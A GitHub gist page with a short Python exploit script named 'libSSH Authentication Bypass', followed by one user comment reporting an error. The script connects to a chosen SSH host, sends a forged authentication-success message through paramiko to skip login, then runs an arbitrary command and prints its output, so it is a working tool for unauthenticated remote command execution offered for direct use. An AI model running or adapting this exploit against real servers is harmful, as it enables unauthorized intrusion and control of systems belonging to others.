Skip to content

Instantly share code, notes, and snippets.

@nikhil1232
Created December 18, 2018 15:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nikhil1232/e3d690b7a960693d89af407ca2ef693a to your computer and use it in GitHub Desktop.
Save nikhil1232/e3d690b7a960693d89af407ca2ef693a to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
import time
import paramiko
import socket
import sys
import argparse
parser = argparse.ArgumentParser(description="libSSH Authentication Bypass")
parser.add_argument('--host', help='Host')
parser.add_argument('-p', '--port', help='libSSH port', default=22)
parser.add_argument('-c', '--command', help='Command')
args = parser.parse_args()
sock = socket.socket()
try:
host = args.host;
port = args.port
command = args.command;
sock.connect((host,int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
cmd = transport.open_session()
cmd.exec_command(command)
out=cmd.makefile("rb",222048)
output=out.read()
out.close()
print (output)
except socket.error:
print("Couldn't Connect to the Server")
sys.exit(1)
@UnixSafe
Copy link

UnixSafe commented Sep 2, 2021

I have a error :
Oops, unhandled type 3 ('unimplemented')

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment